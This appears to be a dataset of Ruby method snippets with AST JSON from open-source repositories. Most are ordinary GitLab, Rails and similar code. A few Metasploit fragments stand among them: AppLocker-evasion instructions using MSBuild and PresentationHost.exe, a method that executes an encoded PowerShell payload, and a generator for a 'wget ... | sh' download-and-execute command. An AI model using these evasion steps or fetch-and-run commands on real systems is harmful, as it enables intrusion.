{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/evasion/windows/applocker_evasion_presentationhost.rb","start_line":159,"raw_source":"def instructions\n    print_status \"Copy #{datastore['CS_FILE']}, #{datastore['MANIFEST_FILE']} and #{datastore['CSPROJ_FILE']} to the target\"\n    print_status \"Compile using: C:\\\\Windows\\\\Microsoft.Net\\\\Framework\\\\[.NET Version]\\\\MSBuild.exe #{datastore['CSPROJ_FILE']}\"\n    print_status \"Execute using: C:\\\\Windows\\\\System32\\\\PresentationHost.exe [Full Path To] #{datastore['CS_FILE'].gsub('.xaml.cs', '.xbap')}\"\n  end","complexity_score":17.6,"ast_json":"{\"type\":\"def\",\"children\":[\"instructions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Copy \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CS_FILE\"]}]}]},{\"type\":\"str\",\"children\":[\", \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"MANIFEST_FILE\"]}]}]},{\"type\":\"str\",\"children\":[\" and \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CSPROJ_FILE\"]}]}]},{\"type\":\"str\",\"children\":[\" to the target\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Compile using: C:\\\\Windows\\\\Microsoft.Net\\\\Framework\\\\[.NET Version]\\\\MSBuild.exe \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CSPROJ_FILE\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Execute using: C:\\\\Windows\\\\System32\\\\PresentationHost.exe [Full Path To] \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CS_FILE\"]}]},\"gsub\",{\"type\":\"str\",\"children\":[\".xaml.cs\"]},{\"type\":\"str\",\"children\":[\".xbap\"]}]}]}]}]}]}]}","id":"1e20033e-c3ef-4533-a0c8-eb0043750f9c"}
{"repo_name":"tty","file_path":"./repos/tty/spec/spec_helper.rb","start_line":40,"raw_source":"def fixtures_path(*args)\n      File.join(dir_path(\"spec/fixtures\"), *args)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"fixtures_path\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"dir_path\",{\"type\":\"str\",\"children\":[\"spec/fixtures\"]}]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}","id":"ed736a42-5242-4f6a-8d63-c54c08023c42"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/approval_configuration.rb","start_line":20,"raw_source":"def approval_configuration\n        parse_body(api_get_from(api_approval_configuration_path))\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"approval_configuration\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"parse_body\",{\"type\":\"send\",\"children\":[null,\"api_get_from\",{\"type\":\"send\",\"children\":[null,\"api_approval_configuration_path\"]}]}]}]}","id":"b39e3963-70b9-4241-bc36-087213f022e3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/wiki_pages/front_matter_parser.rb","start_line":35,"raw_source":"def parse\n        return empty_result unless wiki_content.present?\n        return empty_result(block.error) unless block.valid?\n\n        Result.new(front_matter: block.data, content: strip_front_matter_block)\n      rescue ParseError => error\n        empty_result(:parse_error, error)\n      end","complexity_score":22.2,"ast_json":"{\"type\":\"def\",\"children\":[\"parse\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wiki_content\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"empty_result\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block\"]},\"valid?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"empty_result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block\"]},\"error\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Result\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"front_matter\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block\"]},\"data\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"send\",\"children\":[null,\"strip_front_matter_block\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ParseError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[null,\"empty_result\",{\"type\":\"sym\",\"children\":[\"parse_error\"]},{\"type\":\"lvar\",\"children\":[\"error\"]}]}]},null]}]}","id":"56e07ea7-9266-4f10-ae9b-8b4e0674c7e4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/powershell_cmd_upgrade.rb","start_line":42,"raw_source":"def exploit\n    psh_path = \"\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\"\n\n    if file? \"%WINDIR%\\\\System32#{psh_path}\"\n      print_status(\"Executing powershell command line...\")\n      command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)\n      cmd_exec(command)\n    else\n      fail_with(Failure::NotVulnerable, \"No powershell available.\")\n    end\n  end","complexity_score":16.7,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"psh_path\",{\"type\":\"str\",\"children\":[\"\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"%WINDIR%\\\\System32\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"psh_path\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Executing powershell command line...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"command\",{\"type\":\"send\",\"children\":[null,\"cmd_psh_payload\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload_instance\"]},\"arch\"]},\"first\"]}]}]},{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"lvar\",\"children\":[\"command\"]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotVulnerable\"]},{\"type\":\"str\",\"children\":[\"No powershell available.\"]}]}]}]}]}","id":"50cc811a-530f-4f79-b708-7ed1bd092cf6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/cleanup/execute_policy_service.rb","start_line":29,"raw_source":"def cleanup_duplicated_files\n        return if @policy.keep_n_duplicated_package_files_disabled?\n\n        result = installable_package_files.each_batch(of: DUPLICATED_FILES_BATCH_SIZE) do |package_files|\n          break :timeout if cleanup_duplicated_files_on(package_files) == :timeout\n        end\n\n        response_success(timeout: result == :timeout)\n      end","complexity_score":11.9,"ast_json":"{\"type\":\"def\",\"children\":[\"cleanup_duplicated_files\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@policy\"]},\"keep_n_duplicated_package_files_disabled?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"installable_package_files\"]},\"each_batch\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"of\"]},{\"type\":\"const\",\"children\":[null,\"DUPLICATED_FILES_BATCH_SIZE\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"package_files\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cleanup_duplicated_files_on\",{\"type\":\"lvar\",\"children\":[\"package_files\"]}]},\"==\",{\"type\":\"sym\",\"children\":[\"timeout\"]}]},{\"type\":\"break\",\"children\":[{\"type\":\"sym\",\"children\":[\"timeout\"]}]},null]}]}]},{\"type\":\"send\",\"children\":[null,\"response_success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timeout\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"==\",{\"type\":\"sym\",\"children\":[\"timeout\"]}]}]}]}]}]}]}","id":"dfb7b71d-e66f-4a82-b52a-6e0e3fd28261"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload/windows/bind_tcp.rb","start_line":77,"raw_source":"def required_space\n    # Start with our cached default generated size\n    space = cached_size\n\n    # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)\n    space += 31\n\n    # EXITFUNK unset will still call ExitProces, which adds 7 bytes (accounted for above)\n\n    # Reliability checks add 4 bytes for the first check, 5 per recv check (2)\n    space += 14\n\n    space += uuid_required_size if include_send_uuid\n\n    # The final estimated size\n    space\n  end","complexity_score":12.1,"ast_json":"{\"type\":\"def\",\"children\":[\"required_space\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"space\",{\"type\":\"send\",\"children\":[null,\"cached_size\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"space\"]},\"+\",{\"type\":\"int\",\"children\":[31]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"space\"]},\"+\",{\"type\":\"int\",\"children\":[14]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"include_send_uuid\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"space\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"uuid_required_size\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"space\"]}]}]}","id":"288d85ff-2ffa-4dae-a381-b1a7690508f4"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/closing_heredoc_indentation.rb","start_line":82,"raw_source":"def closing_indentation(node)\n          indent_level(heredoc_closing(node))\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"closing_indentation\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[null,\"indent_level\",{\"type\":\"send\",\"children\":[null,\"heredoc_closing\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}","id":"22b4006e-c813-4bba-ba8f-d5bd79caea8d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/clusters_finder.rb","start_line":4,"raw_source":"def initialize(clusterable, user, scope)\n    @clusterable = clusterable\n    @user = user\n    @scope = scope || :active\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"clusterable\"]},{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"scope\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@clusterable\",{\"type\":\"lvar\",\"children\":[\"clusterable\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@scope\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},{\"type\":\"sym\",\"children\":[\"active\"]}]}]}]}]}","id":"5ab97344-61ad-4f4e-a191-73e587cb59d3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/module/side_effects.rb","start_line":5,"raw_source":"def side_effects\n      instance = self.new\n      instance.notes['SideEffects'] || []\n    end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"side_effects\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"instance\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"new\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance\"]},\"notes\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SideEffects\"]}]},{\"type\":\"array\",\"children\":[]}]}]}]}","id":"4a469a67-ff99-4df8-a56b-a657839d9fb6"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/work_package/ask_before_destruction.rb","start_line":47,"raw_source":"def cleanup_associated_before_destructing_if_required(work_packages, user, to_do = { action: \"destroy\" })\n      cleanup_required = cleanup_action_required_before_destructing?(work_packages)\n\n      !cleanup_required ||\n       (cleanup_required &&\n        cleanup_each_associated_class(work_packages, user, to_do))\n    end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"cleanup_associated_before_destructing_if_required\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_packages\"]},{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"optarg\",\"children\":[\"to_do\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"destroy\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cleanup_required\",{\"type\":\"send\",\"children\":[null,\"cleanup_action_required_before_destructing?\",{\"type\":\"lvar\",\"children\":[\"work_packages\"]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cleanup_required\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cleanup_required\"]},{\"type\":\"send\",\"children\":[null,\"cleanup_each_associated_class\",{\"type\":\"lvar\",\"children\":[\"work_packages\"]},{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"to_do\"]}]}]}]}]}]}]}","id":"6cdec652-b477-48ae-ab72-a53e67d86d99"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/graphql/resolvers/data_transfer/group_data_transfer_resolver_spec.rb","start_line":54,"raw_source":"def resolve_egress\n    resolve(described_class, obj: group, args: { from: from, to: to }, ctx: { current_user: current_user })\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve_egress\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"resolve\",{\"type\":\"send\",\"children\":[null,\"described_class\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"obj\"]},{\"type\":\"send\",\"children\":[null,\"group\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"from\"]},{\"type\":\"send\",\"children\":[null,\"from\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"send\",\"children\":[null,\"to\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ctx\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]}]}]}]}","id":"11c7f85d-92b6-471b-a866-b944860147a4"}
{"repo_name":"spree","file_path":"./repos/spree/core/lib/spree/money.rb","start_line":102,"raw_source":"def -@\n      self.class.new((-money).to_s, options)\n    end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"-@\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"money\"]},\"-@\"]}]},\"to_s\"]},{\"type\":\"send\",\"children\":[null,\"options\"]}]}]}","id":"03493f00-e04a-41a2-9bec-2da1382fa915"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/live_stream_test.rb","start_line":103,"raw_source":"def test_sse_with_multiple_line_message\n      get :sse_with_multiple_line_message\n\n      wait_for_response_stream_close\n      first_response, second_response = response.body.split(\"\\n\")\n      assert_match(/data: first line/, first_response)\n      assert_match(/data: second line/, second_response)\n    end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_sse_with_multiple_line_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"sse_with_multiple_line_message\"]}]},{\"type\":\"send\",\"children\":[null,\"wait_for_response_stream_close\"]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"first_response\"]},{\"type\":\"lvasgn\",\"children\":[\"second_response\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"body\"]},\"split\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"data: first line\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"first_response\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"data: second line\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"second_response\"]}]}]}]}","id":"88c91e8a-bae3-49d0-9184-933dc128001d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload/adapter/fetch.rb","start_line":441,"raw_source":"def _generate_wget_pipe\n    case fetch_protocol\n    when 'HTTPS'\n      return \"wget --no-check-certificate -qO- https://#{_download_pipe}|sh\"\n    when 'HTTP'\n      return \"wget -qO- http://#{_download_pipe}|sh\"\n    else\n      fail_with(Msf::Module::Failure::BadConfig, \"Unsupported protocol: #{fetch_protocol.inspect}\")\n    end\n  end","complexity_score":10.5,"ast_json":"{\"type\":\"def\",\"children\":[\"_generate_wget_pipe\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fetch_protocol\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"HTTPS\"]},{\"type\":\"return\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"wget --no-check-certificate -qO- https://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_download_pipe\"]}]},{\"type\":\"str\",\"children\":[\"|sh\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"HTTP\"]},{\"type\":\"return\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"wget -qO- http://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_download_pipe\"]}]},{\"type\":\"str\",\"children\":[\"|sh\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Module\"]},\"Failure\"]},\"BadConfig\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unsupported protocol: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fetch_protocol\"]},\"inspect\"]}]}]}]}]}]}","id":"5f6ffec4-a45d-4eab-afd5-aa9a4d169360"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/api.rb","start_line":734,"raw_source":"def fetch(score, jid = nil)\n      begin_score, end_score =\n        if score.is_a?(Range)\n          [score.first, score.last]\n        else\n          [score, score]\n        end\n\n      elements = Sidekiq.redis { |conn|\n        conn.zrangebyscore(name, begin_score, end_score, withscores: true)\n      }\n\n      elements.each_with_object([]) do |element, result|\n        data, job_score = element\n        entry = SortedEntry.new(self, job_score, data)\n        result << entry if jid.nil? || entry.jid == jid\n      end\n    end","complexity_score":29.4,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"score\"]},{\"type\":\"optarg\",\"children\":[\"jid\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"begin_score\"]},{\"type\":\"lvasgn\",\"children\":[\"end_score\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"score\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Range\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"score\"]},\"first\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"score\"]},\"last\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"score\"]},{\"type\":\"lvar\",\"children\":[\"score\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"elements\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"redis\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conn\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"zrangebyscore\",{\"type\":\"send\",\"children\":[null,\"name\"]},{\"type\":\"lvar\",\"children\":[\"begin_score\"]},{\"type\":\"lvar\",\"children\":[\"end_score\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"withscores\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elements\"]},\"each_with_object\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"element\"]},{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\"]},{\"type\":\"lvasgn\",\"children\":[\"job_score\"]}]},{\"type\":\"lvar\",\"children\":[\"element\"]}]},{\"type\":\"lvasgn\",\"children\":[\"entry\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SortedEntry\"]},\"new\",{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"job_score\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jid\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"jid\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"jid\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"entry\"]}]},null]}]}]}]}]}","id":"15c8f947-3efd-42dd-affe-bf7da23e4121"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/database/schema/loader.rb","start_line":136,"raw_source":"def modified_column_for(column, config)\n      config.dig(:columns, :modify)&.find { |col| col[:name] == column.name }\n    end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"modified_column_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column\"]},{\"type\":\"arg\",\"children\":[\"config\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"columns\"]},{\"type\":\"sym\",\"children\":[\"modify\"]}]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"col\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"col\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"name\"]}]}]}]}","id":"b68945f6-44e6-457b-b6d6-6fef3fb481bb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/user_settings/active_sessions_controller.rb","start_line":7,"raw_source":"def index\n      @sessions = ActiveSession.list(current_user).reject(&:is_impersonated)\n    end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@sessions\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSession\"]},\"list\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},\"reject\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"is_impersonated\"]}]}]}]}]}","id":"46a0d9cb-4077-4667-a32e-f935ff4bd16c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/usage/metrics/instrumentations/count_bulk_imports_entities_metric.rb","start_line":22,"raw_source":"def relation\n            scope = super\n            scope = scope.where(source_type: source_type) if source_type.present?\n            scope = scope.where(status: status) if status.present?\n            scope = scope.where(has_failures: failures) if failures.present?\n            scope\n          end","complexity_score":21.1,"ast_json":"{\"type\":\"def\",\"children\":[\"relation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"scope\",{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_type\"]},\"present?\"]},{\"type\":\"lvasgn\",\"children\":[\"scope\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_type\"]},{\"type\":\"send\",\"children\":[null,\"source_type\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"status\"]},\"present?\"]},{\"type\":\"lvasgn\",\"children\":[\"scope\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[null,\"status\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"failures\"]},\"present?\"]},{\"type\":\"lvasgn\",\"children\":[\"scope\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\